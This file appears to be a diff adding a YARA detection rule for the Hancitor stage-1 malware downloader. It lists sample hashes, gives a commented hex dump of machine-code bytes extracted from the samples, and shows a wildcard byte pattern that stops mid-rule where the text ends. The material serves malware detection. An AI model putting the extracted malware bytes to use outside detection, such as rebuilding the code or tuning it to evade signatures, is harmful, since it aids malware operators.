+000f7832251ae4ba41c42c46d83cbf13d0b2aed0c1f949fbe68b728fdcb2fada_S1.exe
+000fa485eda66fd4b5acd3fee4e2cdf5bd8e82a4968d27c202fe4747dfb57d00_S1.exe
+001451cfe7d492163ebcdaa2a3da9eb849ab0bd509cd969dd75965c88c19d5d4_S1.exe
+001627a8adaf2ea97b19dd4f6b915abf57bd41b4fe7af33d5f9f381a97d04a3d_S1.exe
+001856ba5da54bdf6cb87c61254af2ca9f936e83402e43579177bd0f4ac1f120_S1.exe
+0022f6c5ec68cabb34eee693cb23cb72a1099719b93f552cb9a09a99a0086afc_S1.exe
+002763b63f07529dd29c7840fed0e1bc68c974364b3aa64f7b6b225ca191f87f_S1.exe
+002ccf946b928eb123790aa8a6a4e1574827f6d387c661003df6e095d1d9137b_S1.exe
+002d93a56d6da0d4cd39c1d1bb36ebfb8bb493b0a204882120fc305c1b840caa_S1.exe
+0031be555860fee238837c1004d2f0ec353487ce6f9d0715106bb5670d965862_S1.exe
+0033f126d294bdda76e68d8dc994189a5d82e728e9e2cbe273789107bd855e06_S1.exe
+0039b33d9b86b02a4df6a605018a9749693ea3d871b187d9d1e1e0ec58e63f26_S1.exe
+003e0e981f9ec2f4ff844161dc2aca600df38965b9dd586532ede80f6367e90b_S1.exe
+0042539fb052745f1568b089bf86e41d393b981cdfc7201f7d8bdde145714fe2_S1.exe
+0043d7cf12ad497de3cc4739a435f1765ec4c65e05e1f21faecfe40cc9d4fc35_S1.exe
+004fa50455bac533cfa150660a6148ed20eb19a1169aa48991367eabb7494f1e_S1.exe
+00509f0c3436a02e09a49226169d28979d0b4eb42375cf2dbb1733cc67333b73_S1.exe
+0056fc1baedc78d43638f509d4a2ff617567cdffe4e0aa6a9892d80b076b2e4d_S1.exe
+0058b39843b0c37520a28a4d239de2e934a811159fe6a310e63b9fcf85ac2cf7_S1.exe
+005b3491673d414c65c0b2c8c351b672dd41a1679c97ffd7e4e0a6b1d00580a9_S1.exe
+005dee83851ee0db47b705b4ac6857bc4649e59c47418208d62ce3cc0c1f9a02_S1.exe
+006446a6303d85b5427139c6bc08c0f12e361d49cd7fa1ccc3e431d2fdd56d8c_S1.exe
+0065a97402349fbbe5195effd6329ed89eb276ac3f728c7f8827d913d1296037_S1.exe
+006cc18d23ba7ec78ce5d3e78cde63157abd05b1e1908c93c35f99933637a6e7_S1.exe
+006cc87046164b41330918db95150f16227aa235865c4c95283b2d5fb9bd0d18_S1.exe
+008d53efab6e0be2f356ce86581414db9804d46170eea4b408b6f23690a35487_S1.exe
+009794dbe2aefed8ebd0d433c4b5c8931f6b3c1eaf0fbb34ad3fb247ae8dd0b5_S1.exe
+009b714c0a6731f2eadd04dab409172d34986526a298b7a1fe4f51152bf6773e_S1.exe
+00a1fb0d0a45ec998f65a458e55790e49944bb36b9398d7be495aa7ac7f27ac4_S1.exe
+00a24e6e5da9bea88f695e7b15621f418f683ce0b185ee67ba66e91bfe360e53_S1.exe
+00a90d131960bbad21a4f787f328d69b3af514f6e800cea606deb97aa0393e29_S1.exe
+00aae024d89ebdee5464f410fe588f31a1888f84eb68ee6dddb1ddf9b86012aa_S1.exe
+00ae14dc7815f74b083abc290d561d59fa8bc9717c22423fdec109bedc0de170_S1.exe
+00b088c257b7aab93e262445085337261a8b6d4369e9e48c6fe840c56971d8c2_S1.exe
+00b3c741c366252a8472046960b35636cf6c651a73d94d2810d14446dfae6db1_S1.exe
+00b46ed617c1d651dadd8b4abad8b644f30e49e0d12bc378dfb720f9b55b6277_S1.exe
+00b4f5d82ff5636d87821e2eb367c63bf83f478d4d4c480a3d9bc920bcd23f4a_S1.exe
+00b515429f4b16a501d7c97999eb884210dcf5b413b3896e11c03a926b31289f_S1.exe
+00bdb09cd6dfc308cc101aa009240ba612df781c62efb705f7b2ba9c198494d9_S1.exe
+00c4a1abded604c193671ac83935cf5e84bf272b5b574c26dfc814821d38155e_S1.exe
+00c7f1f0183fdb23eba1c5bfbe94518bbe22093bd8ae648c8c242229ca65c46a_S1.exe
+00c9f1276737f9ab4eb49c6c3a8c955cae7085fb7744ab0f0b90cc6b83eea377_S1.exe
+00d552f43b11e0017ff34576e2fbe5d47db4c5141ed0cc7cad1a6367a5161839_S1.exe
+
+BYTES:
+
+eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e601f7d681e62101000032c88bee33c083f565740f6685d2740af6c20174058d5001eb0233d2bdac0000006603c566a314904000b0012ac3a20090400033fa0fb71510904000b02e84c07415b865000000663b050c9040007507b801000000eb0233c0221d1490400083e60132c8f7d681e621010000880d029040008bce33c083f165740f6685d2740af6c20174058d5001eb0233d28b2d1090400033fabaac0000006603c266a314904000b0012ac3b22e0fb7cda20090400084d27415b865000000663b050c9040007507b801000000eb0233c0300502904000221d1490400083e601f7d681e6210100008bc633d283f065740f6685c9740af6c10174058d4201eb0233c033f8b9ac0000006603d166891514904000893d049040000fb7fdb2012ad3b02e897c241c88150090400084c07413b965000000663b0d0c90400075058d419ceb0233c0221d149040003005029040000fbeebb0de83e601a20390400083fd390f82f50000000fbf3d0c9040008bcf6bc965b84505d986f7e903d1c1fa088bc2c1e81f03c289442428a0109040003443a203904000a110904000b93f0000002bc8ba4a010000d3ea8bcf83c62ed3ea8b0d0490400081e12101000033ce23d06631150c9040000fbe150290400083ca0b23d033c081fd0b0100000f94c0890d04904000b9220000000bd081ca2001000033c066833d1490400017891510904000668b150c9040000f94c06633442428496623d085c975f88b4c242832c0660fbed0a2029040000fbec04169c04a010000210d109040000fb7ca894c241c33d2b96b020000f7f1a0039040008b7c241cc74424148f000000895424188a0d02904000fec00fbec080e1012d11010000ba0100000089150890400075056685ff74028bc2fec0a2009040008ac22c510c01a203904000bac700000033c04a6685ff0f95c022c12ac885d275ef8b542414880d0290400033c9813d1090400011010000b0090f94c18b7424188025029040000166890d0c9040008acad2f8c0f8070a0503904000660fbec8b83fc52543f7e2a110904000c1ea0669d2f40000002bc20344241466890d149040008bf80fbe0d02904000b8c99c1a94f7ee03d6c1fa098bc2c1e81f03d069d2750300008bc12bc203c60fbf74241c8944242483f92e0f94c0320500904000897c24203409a20090400033c081fe220100000f94c023c583f0097410803d03904000007407b801000000eb0233c03005009040008b4c2418a003904000d3e632c3340133c93b742424a2019040000f94c1330d08904000750d66390d0c904000750433c0eb05b80100000028050290400033c03905049040008b5c24300f94c0c744242c45010000a310904000b8b3428c7df7e7c1ea07b8b3cf213589542434f7e78bc72bc2d1e803c2c1e80889442438833d0890400000751366837c241c00750b8d530985d2750433c9eb05b9010000008a1501904000a00090400032c1660fbef2662bf38bcb66d3e60fbec8a2009040008b4424243bc80f94c10ac80fb6c18a0d039040000fbefa8bd702c881f222010000740485db75108b150490400039542414740a33c0eb0b8b1504904000b8010000008b5c24206633f0a1109040006689350c9040008b74243469f6050100002bde33c203da0fb7d38954241cbe340000008ad980eb6f0acb83ee0175f4
+
+*/
+
+rule hancitor_stage1
+    {
+        meta:
+            author      = "Jeff White - jwhite@paloaltonetworks.com @noottrak"
+            date        = "26AUG2016"
+            reference   = "https://github.com/pan-unit42/public_tools/tree/master/hancitor"
+
+        strings:
+            $byte_code = { EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? 32 ?? F7 ?? 81 ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? 8? ?? ?? ?? ?? ?? 33 ?? BA ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? B2 ?? 0F B7 ?? A2 ?? ?? ?? ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 30 ?? ?? ?? ?? ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? 33 ?? B9 ?? ?? ?? ?? 66 03 ?? 66 89 ?? ?? ?? ?? ?? 8? ?? ?? 